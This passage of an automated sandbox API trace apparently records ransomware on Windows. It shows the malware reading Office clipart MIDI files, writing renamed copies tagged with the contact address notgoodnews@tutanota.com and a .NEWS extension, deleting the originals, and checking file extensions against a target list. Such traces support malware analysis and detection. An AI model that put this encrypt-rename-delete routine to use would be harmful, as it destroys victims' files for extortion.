(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0230.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0230.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0230.692] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.692] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0230.694] GetLastError () returned 0x0 [0230.694] ReadFile (in: hFile=0x3b8, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x12ee, lpOverlapped=0x0) returned 1 [0230.698] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x12f0, lpOverlapped=0x0) returned 1 [0230.720] ReadFile (in: hFile=0x3b8, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0230.720] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xea, lpOverlapped=0x0) returned 1 [0230.720] SetEndOfFile (hFile=0x390) returned 1 [0230.721] CloseHandle (hObject=0x390) returned 1 [0230.721] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.721] SetEndOfFile (hFile=0x3b8) returned 1 [0230.731] CloseHandle (hObject=0x3b8) returned 1 [0230.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0231.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.062] lstrlenW (lpString=".doc") returned 4 [0231.063] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.063] lstrlenW (lpString=".docx") returned 5 [0231.063] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.063] lstrlenW (lpString=".pdf") returned 4 [0231.063] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.063] lstrlenW (lpString=".xls") returned 4 [0231.063] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.063] lstrlenW (lpString=".xlsx") returned 5 [0231.063] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.063] lstrlenW (lpString=".ppt") returned 4 [0231.063] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.063] lstrlenW (lpString=".zip") returned 4 [0231.063] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.064] lstrlenW (lpString=".rar") returned 4 [0231.064] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.064] lstrlenW (lpString=".bz2") returned 4 [0231.064] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.064] lstrlenW (lpString=".7z") returned 3 [0231.064] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.064] lstrlenW (lpString=".dbf") returned 4 [0231.065] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.065] lstrlenW (lpString=".1cd") returned 4 [0231.065] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.065] lstrlenW (lpString=".jpg") returned 4 [0231.065] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.066] lstrlenW (lpString=".doc") returned 4 [0231.066] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.066] lstrlenW (lpString=".docx") returned 5 [0231.066] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.066] lstrlenW (lpString=".pdf") returned 4 [0231.066] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.066] lstrlenW (lpString=".xls") returned 4 [0231.066] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.066] lstrlenW (lpString=".xlsx") returned 5 [0231.066] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.066] lstrlenW (lpString=".ppt") returned 4 [0231.066] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.067] lstrlenW (lpString=".zip") returned 4 [0231.067] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.067] lstrlenW (lpString=".rar") returned 4 [0231.067] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.067] lstrlenW (lpString=".bz2") returned 4 [0231.067] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.067] lstrlenW (lpString=".7z") returned 3 [0231.067] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.067] lstrlenW (lpString=".dbf") returned 4 [0231.067] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.068] lstrlenW (lpString=".1cd") returned 4 [0231.068] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0231.068] lstrlenW (lpString=".jpg") returned 4 [0231.068] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.068] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0231.069] lstrlenW (lpString="GRID_01.MID") returned 11 [0231.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0231.157] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=6331) returned 1 [0231.157] CloseHandle (hObject=0x324) returned 1 [0231.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20 [0231.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0231.159] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.159] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0231.160] GetLastError () returned 0x0 [0231.160] ReadFile (in: hFile=0x324, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x18bb, lpOverlapped=0x0) returned 1 [0231.198] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0231.202] ReadFile (in: hFile=0x324, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0231.202] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xea, lpOverlapped=0x0) returned 1 [0231.203] SetEndOfFile (hFile=0x3b4) returned 1 [0231.435] CloseHandle (hObject=0x3b4) returned 1 [0231.444] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.444] SetEndOfFile (hFile=0x324) returned 1 [0231.591] CloseHandle (hObject=0x324) returned 1 [0231.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0231.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.707] lstrlenW (lpString=".doc") returned 4 [0231.707] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.707] lstrlenW (lpString=".docx") returned 5 [0231.707] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.708] lstrlenW (lpString=".pdf") returned 4 [0231.708] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.708] lstrlenW (lpString=".xls") returned 4 [0231.708] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.708] lstrlenW (lpString=".xlsx") returned 5 [0231.708] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.708] lstrlenW (lpString=".ppt") returned 4 [0231.708] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.708] lstrlenW (lpString=".zip") returned 4 [0231.708] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.708] lstrlenW (lpString=".rar") returned 4 [0231.709] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.709] lstrlenW (lpString=".bz2") returned 4 [0231.709] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.709] lstrlenW (lpString=".7z") returned 3 [0231.709] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.709] lstrlenW (lpString=".dbf") returned 4 [0231.709] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.709] lstrlenW (lpString=".1cd") returned 4 [0231.709] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.710] lstrlenW (lpString=".jpg") returned 4 [0231.710] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.710] lstrlenW (lpString=".doc") returned 4 [0231.710] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.710] lstrlenW (lpString=".docx") returned 5 [0231.710] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.710] lstrlenW (lpString=".pdf") returned 4 [0231.710] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.710] lstrlenW (lpString=".xls") returned 4 [0231.710] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.711] lstrlenW (lpString=".xlsx") returned 5 [0231.711] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.711] lstrlenW (lpString=".ppt") returned 4 [0231.711] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.711] lstrlenW (lpString=".zip") returned 4 [0231.711] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.711] lstrlenW (lpString=".rar") returned 4 [0231.711] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.711] lstrlenW (lpString=".bz2") returned 4 [0231.711] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.711] lstrlenW (lpString=".7z") returned 3 [0231.711] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.711] lstrlenW (lpString=".dbf") returned 4 [0231.712] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.712] lstrlenW (lpString=".1cd") returned 4 [0231.712] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0231.712] lstrlenW (lpString=".jpg") returned 4 [0231.712] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.713] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0231.713] lstrlenW (lpString="INDST_01.MID") returned 12 [0231.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0231.727] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=8568) returned 1 [0231.728] CloseHandle (hObject=0x35c) returned 1 [0231.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20 [0231.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0231.736] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.736] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0231.739] GetLastError () returned 0x0 [0231.739] ReadFile (in: hFile=0x3c0, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x2178, lpOverlapped=0x0) returned 1 [0231.744] WriteFile (in: hFile=0x384, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0231.795] ReadFile (in: hFile=0x3c0, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0231.795] WriteFile (in: hFile=0x384, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0231.796] SetEndOfFile (hFile=0x384) returned 1 [0231.796] CloseHandle (hObject=0x384) returned 1 [0231.797] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.797] SetEndOfFile (hFile=0x3c0) returned 1 [0231.804] CloseHandle (hObject=0x3c0) returned 1 [0231.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0231.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0231.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0231.806] lstrlenW (lpString=".doc") returned 4 [0231.806] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.806] lstrlenW (lpString=".docx") returned 5 [0231.806] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.806] lstrlenW (lpString=".pdf") returned 4 [0231.806] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.806] lstrlenW (lpString=".xls") returned 4 [0231.806] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.807] lstrlenW (lpString=".xlsx") returned 5 [0231.807] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.807] lstrlenW (lpString=".ppt") returned 4 [0231.807] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0231.807] lstrlenW (lpString=".zip") returned 4 [0231.807] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.807] lstrlenW (lpString=".rar") returned 4 [0231.807] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.807] lstrlenW (lpString=".bz2") returned 4 [0231.807] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.808] lstrlenW (lpString=".7z") returned 3 [0231.808] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0231.808] lstrlenW (lpString=".dbf") returned 4 [0231.808] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0231.808] lstrlenW (lpString=".1cd") returned 4 [0231.808] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0231.808] lstrlenW (lpString=".jpg") returned 4 [0231.808] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0232.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0232.040] lstrlenW (lpString=".doc") returned 4 [0232.040] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.040] lstrlenW (lpString=".docx") returned 5 [0232.041] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.041] lstrlenW (lpString=".pdf") returned 4 [0232.041] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.041] lstrlenW (lpString=".xls") returned 4 [0232.041] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.041] lstrlenW (lpString=".xlsx") returned 5 [0232.041] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.041] lstrlenW (lpString=".ppt") returned 4 [0232.041] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0232.041] lstrlenW (lpString=".zip") returned 4 [0232.041] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.041] lstrlenW (lpString=".rar") returned 4 [0232.042] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.042] lstrlenW (lpString=".bz2") returned 4 [0232.042] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.042] lstrlenW (lpString=".7z") returned 3 [0232.042] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0232.042] lstrlenW (lpString=".dbf") returned 4 [0232.042] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0232.042] lstrlenW (lpString=".1cd") returned 4 [0232.042] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0232.043] lstrlenW (lpString=".jpg") returned 4 [0232.043] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.044] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0232.044] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0232.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0232.186] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=6880) returned 1 [0232.187] CloseHandle (hObject=0x324) returned 1 [0232.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 0x20 [0232.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0232.188] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.188] SetFilePointerEx (in: hFile=0x324, 